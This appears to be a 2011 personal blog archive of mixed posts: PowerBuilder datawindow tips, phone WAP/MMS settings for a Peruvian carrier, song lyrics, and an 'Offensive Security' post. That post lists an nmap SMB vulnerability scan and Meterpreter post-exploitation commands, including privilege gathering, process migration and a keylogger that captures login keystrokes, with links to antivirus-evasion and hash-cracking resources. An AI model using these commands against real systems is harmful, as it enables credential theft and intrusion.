Wednesday, August 10, 2011

Power Builder::Tips

DropDown ListBox
http://kell-developer.blogspot.com/2009/09/cargar-una-tabla-un-dropdownlistbox-de.html


Clear datawindow
long ll_i, ll_rc

ll_rc = dw_1.RowCount()

for ll_i = 1 to ll_rc
dw_1.deleterow(1)
next

dw_1.AcceptText()
dw_1.Update(True, True)

--or--

dw_1.Reset() //will never delete the rows from DB, It will just clear the datawindow buffers.


Work with dates
========================================================
dt_today = today()
li_maand = month(dt_today )
li_jaar = year(dt_today )
li_dag = day(dt_today )


apply filter
========================================================
ls_filtro = "columna1 > 100 and columna2 > 30"

dw_1.SetFilter(ls_filtro)

dw_1.Filter( )




references
[0] http://powerbuilder-undiaalavez.blogspot.com/

[1] Tutorial Power Builder 9.0 http://edyovando.galeon.com/INICIO.HTML
[2] Trucos datawin
http://infolenguajes.galeon.com/datawin.htm
[3] http://kell-developer.blogspot.com/2009/09/cargar-una-tabla-un-dropdownlistbox-de.html

[4] List of Functions Available in Datawindow Expressions
http://pbbraindump.wordpress.com/2008/05/15/list-of-functions-available-in-datawindow-expressions/
[5] http://solocodigofuente.com/ejemplos-de-codigo-fuente-en-visual-basic-net/uso-del-control-dropdownlistbox-listbox-listview-de-power-builder/
[6] http://powerbuilder-undiaalavez.blogspot.com/2011_02_01_archive.html

http://ingpcastillo.com/personal/Manual/MANUAL_DE_POWER_BUILDER.pdf
http://sergioor.blogspot.com/2008/02/funciones-principales-de-un-datawindows.html
http://www.todoexpertos.com/categorias/tecnologia-e-internet/programacion/power-builder/respuestas/2317534/datawindows-avanzado



http://sergioor.blogspot.com/2008/02/funciones-principales-de-un-datawindows.html

http://es.scribd.com/doc/6878574/Powerbuilderuso-de-Cursores
http://groups.google.com/group/sybase.public.powerbuilder.database/browse_thread/thread/159c2bf7ef4f114e?pli=1


Wednesday, July 13, 2011

php photo gallery::without database

http://phpgraphy.sourceforge.net/
http://www.sgal.org/
http://sourceforge.net/projects/ifoto/
http://yapig.sourceforge.net/
http://qdig.sourceforge.net/

Distancia de Arequipa a otros lugares

http://www.lacasademargott.com/es/arequipa-distancias.htm

Tuesday, June 28, 2011

C.C. Catch::You Shot A Hole In My Soul

He's a midnight dream romancer
He's the only lonely dancer
Oh, only love breaks my heart
He's the nearest thing to heaven
Stole my heart and tried to say then
Oh, only love breaks my heart

You shot a hole in my soul
It's the kind out of love I know
You shot a hole in my soul
Hold on tight, don't let go
You get always what you want from me
You can make it easy, can't you see
You shot a hole, hole, hole
Hole in my soul

Dreams go on forever and ever
Good things do not last forever
Heaven can wait but I can't
But I'd do it once again, babe
I think tomorrow it's too late, babe
Oh, only love breaks my heart

Monday, June 20, 2011

W810::Habilitar MMS y WAP

Primero:
Menú--> Ajustes--> Conectividad --> Comunic. de datos--> Cuentas de datos--> Nueva cuenta--> Datos GPRS--> Nombre: WAP GPRS
APN: wap.claro.pe
Nombre de usuario: claro
Contraseña: claro
(GUARDAR)
Segundo:
Menú--> Ajustes--> Conectividad--> Ajustes Internet--> Perfiles Internet--> Nuevo perfil-->
Nombre: Claro WAP
Conectar usando: (seleccionas la cuenta que creaste) WAP GPRS
(GUARDAR)
Tercero:
Seleccionas el perfil que creaste (Claro WAP) y le das MÁS. Luego seleccionas AJUSTES.
Verificas que en Uso de Proxy diga SI
Dirección de proxy: 192.168.231.30
Número de puerto: 80 //por defecto es 8080 me imagino que se quedaria asi si es que el tipo de navegación fuera http
(GUARDAR)
Para que esté activo el perfil recuerda de “seleccionarlo”.


Configuracion MMS

Primero:
Menú--> Ajustes--> Conectividad--> Comunic. de datos--> Cuentas de datos--> Nueva cuenta--> Datos GPRS--> Nombre: MMS GPRS
APN: mms.claro.pe
Nombre de usuario: claro
Contraseña:claro
(GUARDAR)
Segundo:
Menú--> Ajustes--> Conectividad--> Ajustes Internet--> Perfiles Internet--> Nuevo perfil-->
Nombre: Claro MMS
Conectar usando: (seleccionas la cuenta que creaste) MMS GPRS
(GUARDAR)
Tercero:
Seleccionas el perfil que creaste (Claro MMS) y le das MÁS. Luego AJUSTES.
Verificas que en Uso de Proxy diga SI
Dirección de proxy: 213.26.205.1
Número de puerto: 80
(GUARDAR)
Menú--> Mensajes--> Ajustes--> Msj con imagen--> Perfil MMS--> Nuevo perfil-->
Nombre Perfil MMS: Multimedia
Servidor de msjs: http://claro/servlets/mms
Perfil de internet: Claro MMS
(GUARDAR)
Referencias:
http://www.topsony.com/forum_es/general-f96/configuracion-wap-y-mms-para-claro-peru-t14503.html

Monday, June 13, 2011

Offensive Security

Verify
nmap -sV -PN -p 445,137,139 --script=smb-check-vulns.nse


Meterpreter common commands


meterpreter > getprivs
meterpreter > migrate 2976
meterpreter > bglist

meterpreter > use -l
meterpreter > ?


meterpreter > bgrun keylogrecorder -c 1 -t 15
meterpreter> run keylogrecorder -c 1 -l -t 5
-c 1 to record a login session, "-l" to force logoff, and "-t 5" to deliver the keystrokes every 5 sec.

Basic meterpreter



Meterpreter Cllient commands
http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient

Vulnerabilidad StickyKeys (sethc.exe)
http://foro.infiernohacker.com/index.php?topic=1867.0

Tools
http://www.md5decrypter.co.uk/

REG
http://ss64.com/nt/reg.html

Meterpreter REG
http://carnal0wnage.attackresearch.com/2007/06/defating-nod32-av.html

examples:
[1] Keylogging
http://www.offensive-security.com/metasploit-unleashed/Keylogging
[2] http://tekjournal.wordpress.com/2011/01/08/login-keystroke-recording/
[3] http://pctechtips.org/metasploit-getting-user-password-with-keylogrecorder/
[4] http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Screen_Capture
[5] http://exploit.co.il/hacking/screenspy-meterpreter-script-review/

modules:
http://www.metasploit.com/modules/auxiliary/analyze/jtr_crack_fast


references:
[1] http://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf
[2] http://www.question-defense.com/2009/12/21/getting-started-with-meterpreter
[3] Custom exploit
http://www.pentester.es/2009/11/por-que-no-consigo-shell-con-mi.html

Thursday, June 09, 2011

Games

NEED FOR SPEED(TM) III: HOT PURSUIT

Firefox open multiple private window

    /opt/firefox/firefox-bin --profile $(mktemp -d) --private-window www.google.com www.bing.com